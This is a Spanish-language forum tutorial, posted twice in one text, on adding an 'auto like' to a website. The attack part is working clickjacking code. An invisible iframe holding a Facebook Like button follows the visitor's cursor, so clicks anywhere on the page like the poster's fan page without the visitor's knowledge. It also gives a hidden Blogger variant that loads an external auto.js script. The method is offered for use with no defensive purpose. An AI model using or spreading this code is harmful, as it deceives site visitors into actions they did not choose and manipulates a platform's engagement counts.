I
intoroddex
Lambda
Buenas Betas aqui les traigo un tutorial de como implementar un "Auto Me gusta" para su web
Empezemos
1- Abrimos un editor de texto ( block de nota - DW etc)
Pasamos a pegar este codigó en dicho editor elegido
Editamos las partes que dice "Tu-FansPage"
Guardamos con el nombre que les guste con extención .php
Explicación en foto:
Y lo subimos a nuestro hosting
2- Abrimos nuevamente un editor de texto ( block de nota - DW etc) y ponemos dicho codigó
En donde dice "Enlace eliminado"
Ponemos la direccion donde se alojo tu archivo ejemplo creado en el punto 1. Enlace eliminado
Guardamos como ---> el nombre que gusten con extencion .js
Explicación en foto:
Lo subimos a nuestro hosting
3- Pasamos a implementarlo en nuestra pagina..
Pegar siguiente codigó antes del </head> (Opcion 2: <body>)
4. Despues del <body> pegar y editar la parte de la direccion donde esta alojado dicho archivo creado con la extencion .js
5- Listo tenemos nuestro autolike "Me gusta" Fan Page Funcional...
Agradecimiento al mod Enlace eliminado por ayudarme hacer esto posible.. ademas por su prestacion de su web para mostrar una demo Enlace eliminado
Script de blogger aportado por [MENTION=81006]kanikase[/MENTION]
Para Blogger, solo agregan arriba de </body>
Empezemos
1- Abrimos un editor de texto ( block de nota - DW etc)
Pasamos a pegar este codigó en dicho editor elegido
HTML:
<html>
<head>
<title>Te sigo hasta la muerte</title>
</head>
<body style="margin:0px;padding:0px;">
<div id="fb-root"></div>
<script>(function(d, s, id) {
var js, fjs = d.getElementsByTagName(s)[0];
if (d.getElementById(id)) return;
js = d.createElement(s); js.id = id;
js.src = "//connect.facebook.net/fr_FR/all.js#xfbml=1";
fjs.parentNode.insertBefore(js, fjs);
}(document, 'script', 'facebook-jssdk'));</script>
<div style="margin-left:-25px;" class="fb-like" data-href="https://www.facebook.com/Tu-FansPage" data-layout="button" data-action="like" data-show-faces="false" data-share="false"></div>
</body>
</html>Editamos las partes que dice "Tu-FansPage"
Guardamos con el nombre que les guste con extención .php
Explicación en foto:
Y lo subimos a nuestro hosting
2- Abrimos nuevamente un editor de texto ( block de nota - DW etc) y ponemos dicho codigó
PHP:
function MouseSeguir(Coordenadas) {
var NetScape = (navigator['appName']['indexOf']('Netscape') != -1);
var CoordenadasX = (NetScape) ? Coordenadas['pageX'] : event['clientX'];
var CoordenadasY = (NetScape) ? Coordenadas['pageY'] : event['clientY'];
document['getElementById']('DivSeguir')['style']['left'] = CoordenadasX + -13 + 'px';
document['getElementById']('DivSeguir')['style']['top'] = CoordenadasY + -10 + 'px';
}
function OcultarDiv() {
document['getElementById']('DivSeguir')['style']['display'] = 'none';
}
var SobreIframe = false;
function MouseSalio() {
SobreIframe = false;
top['focus']();
}
function MouseArriba() {
SobreIframe = true;
}
function iframeClick() {
if (SobreIframe) {
setInterval('OcultarDiv()', '700');
}
}
function iniciar() {
var iframe0 = document['getElementsByTagName']('iframe');
for (var x = 0; x < iframe0['length']; x++) {
iframe0[x]['onmouseover'] = MouseArriba;
iframe0[x]['onmouseout'] = MouseSalio;
}
if (typeof window['attachEvent'] != 'undefined') {
top['attachEvent']('onblur', iframeClick)
} else {
if (typeof window['addEventListener'] != 'undefined') {
top['addEventListener']('blur', iframeClick, false);
}
}
}
document.write("<style>.CSS_Seguir{ overflow:hidden;opacity:0; filter:alpha(opacity=0); -moz-opacity:0; position:absolute;top:0;left:0;z-index:200000;overflow:hidden;height:20px;width:36px;border:1px solid #000;}</style>");
var sx = document.createElement('iframe');
sx.setAttribute("class", "CSS_Seguir");
sx.setAttribute("id", "DivSeguir");
sx.setAttribute("src", "http://misitio.com/archivocreado.php");
sx.setAttribute("scrolling", "no");
sx.setAttribute("frameborder", "0");
sx.setAttribute("style", "overflow:hidden; width:36px; height:20px;");
document.getElementsByTagName("body")[0].appendChild(sx);
iniciar();
document.onmousemove = MouseSeguir;Ponemos la direccion donde se alojo tu archivo ejemplo creado en el punto 1. Enlace eliminado
Guardamos como ---> el nombre que gusten con extencion .js
Explicación en foto:
Lo subimos a nuestro hosting
3- Pasamos a implementarlo en nuestra pagina..
Pegar siguiente codigó antes del </head> (Opcion 2: <body>)
PHP:
<script src="http://code.jquery.com/jquery-1.5.1.min.js"></script>4. Despues del <body> pegar y editar la parte de la direccion donde esta alojado dicho archivo creado con la extencion .js
PHP:
<script src='http://tudominio.com/tuarchivo.js '></script>5- Listo tenemos nuestro autolike "Me gusta" Fan Page Funcional...
Agradecimiento al mod Enlace eliminado por ayudarme hacer esto posible.. ademas por su prestacion de su web para mostrar una demo Enlace eliminado
Script de blogger aportado por [MENTION=81006]kanikase[/MENTION]
Para Blogger, solo agregan arriba de </body>
PHP:
<div id="likeslikes" style="opacity:0;width:20px;height:20px;overflow:hidden;position:fixed;">
<div class="fb-like" data-href="AQUI LA URL DE LA PAGINA O WEB" data-layout="button" data-action="like" data-show-faces="false" data-share="false"></div>
</div>
<script type="text/javascript" src="//dl.dropboxusercontent.com/s/9yffh50a8njo0jx/auto.js"></script>
Última edición: